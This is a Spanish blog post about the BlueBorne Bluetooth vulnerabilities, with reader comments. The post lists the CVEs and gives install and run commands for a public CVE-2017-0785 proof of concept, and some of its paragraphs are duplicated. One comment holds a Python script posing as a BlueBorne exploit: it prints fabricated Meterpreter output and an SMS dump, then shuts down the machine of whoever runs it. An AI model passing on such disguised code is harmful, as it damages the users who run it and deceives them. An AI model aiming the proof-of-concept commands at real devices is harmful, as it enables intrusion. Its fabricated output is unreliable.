Una de las vulnerabilidades seguramente más impactantes de todo el año es BlueBorne. Descubierta por la empresa Armis, se trata de un conjunto de ocho exploits que permiten vulnerar prácticamente cualquier dispositivo Bluetooth y sin necesidad de que esté pareado con el atacante o que haya cualquier otra interacción... es decir, millones y millones de dispositivos están en serio riesgo sólo por tener activado Bluetooth. La única opción es instalar las últimas actualizaciones y lo antes posible.
Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".
Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".
Para más información os recomiendo que echéis un vistazo al paper de Armis.
Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
• CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
• CVE-2017-1000251 y CVE-2017-1000250 para Linux
• CVE-2017-8628 en Windows.
Los vídeos conla PoC las demos son impresionantes pero el código del exploit, que es lo que todo el mundo anda buscando xD, todavía no está disponible. No obstante, todo parece indicar que es cuestión de tiempo y ya empiezan a surgir otras PoC independiente bastante interesantes. En este post intentaré ir publicando todas las pruebas con cada una de ellas que vaya surgiendo:
Descubriendo dispositivos Bluetooth cercanos (PyBluez)
Poc de Kert Ojasoo (ojasookert)
Fuente: https://github.com/ojasookert/CVE-2017-0785
Estudio personal basado en la vulnerabilidad de fuga de información de Android lanzada por Armis.
Dependencias
Instalación y uso
Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".
Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".
Para más información os recomiendo que echéis un vistazo al paper de Armis.
Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
• CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
• CVE-2017-1000251 y CVE-2017-1000250 para Linux
• CVE-2017-8628 en Windows.
Los vídeos con
Descubriendo dispositivos Bluetooth cercanos (PyBluez)
# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import bluetooth
>>>
>>> nearby_devices = bluetooth.discover_devices()
>>> nearby_devices
['50:8F:XX:XX:XX:XX', 'C0:D9:YY:YY:YY:YY']
Poc de Kert Ojasoo (ojasookert)
Fuente: https://github.com/ojasookert/CVE-2017-0785
Estudio personal basado en la vulnerabilidad de fuga de información de Android lanzada por Armis.
Dependencias
sudo apt-get install bluetooth libbluetooth-dev
sudo pip install pybluez
sudo pip install pwntools
Instalación y uso
# git clone https://github.com/ojasookert/CVE-2017-0785.git
# cd CVE-2017-0785
# python CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX
A mí me gusta diferenciar entre videos que pueden mostrar el resultado de un exploit (O no, podría ser edición) llamándoles "demos", y dejando los PoC (Con valor de prueba tangible) para los códigos fuente. Así me evito un montón de malentendidos.
ResponderEliminartotalmente de acuerdo. A partir de ahora lo tendremos especialmente en cuenta.. Saludos!
EliminarHola alguna P.O.C nueva?
ResponderEliminarHola alguien podria explicar, que ese codigo en hexadecimal, no lo entiendo que hace eso?
ResponderEliminarEs el volcado de memoria
ResponderEliminar#! /usr/bin/python
ResponderEliminarfrom os import system
from termcolor import colored
print colored('''
____________________________________________________________________________
| _ _ _ ___ _ ___ ____ __ ___ _ _ ____ _____ _ _ _ |
| / \ | \ | |/ _ \| \ | \ \ / / \/ |/ _ \| | | / ___| |___ /| || | / | |
| / _ \ | \| | | | | \| |\ V /| |\/| | | | | | | \___ \ |_ \| || |_| | |
| / ___ \| |\ | |_| | |\ | | | | | | | |_| | |_| |___) | ___) |__ _| | |
|/_/ \_\_| \_|\___/|_| \_| |_| |_| |_|\___/ \___/|____/ |____/ |_| |_| |
|____________________________________________________________________________|
''', 'red'), colored('''
Author: ANONYMOUS341 BLUEBORNE
CONTACT: kalilinuxhackersaround@gmail.com
Youtube: https://www.youtube.com/channel/UCU4_WISdoFVYT21BxeRGSbQ
''', 'blue')
def cd2():
a = raw_input("blueborne > ")
print'''
Alarms
Android
BackUp
CloudDrive
DCIM
dianxin
Documents
Download
Movies
Music
Pictures
Podcasts
proof
Recordings
Ringtones
TWRP
WhatsApp
pd.apk'''
blb()
def cd():
print'''
Alarms
Android
BackUp
CloudDrive
DCIM
dianxin
Documents
Download
Movies
Music
Pictures
Podcasts
Recordings
Ringtones
TWRP
WhatsApp
pd.apk
z.png'''
def dump_sms():
system("service apache2 start")
system("service apache2 stop")
print'''
[*] Fetching 42 sms messages
[*] SMS messages saved to: sms_dump_20171009132902.txt
'''
def hep():
ResponderEliminarprint'''
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
System Commands
=======================
ResponderEliminarCommand Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
localtime Displays the target system's local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
User interface Commands
===============================
Command Description
------- -----------
screenshot Grab a screenshot of the interactive desktop
Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
'''
blb()
def blb():
print ("[+]type ? for help")
a = raw_input("BlueBorne > ")
if a == "?":
hep()
elif a == "dump_sms":
dump_sms()
blb()
elif a == "mkdir proof":
cd2()
elif a == "ls":
cd()
blb()
print'''
1.scan for devices
2. exit'''
a = raw_input("choose option: ")
if a == "1":
print"[+] scanning..."
system("service apache2 start")
system("service apache2 stop")
print"[+]error.. system crashed.."
print"[+]rebooting to prevent crash..."
system("shutdown")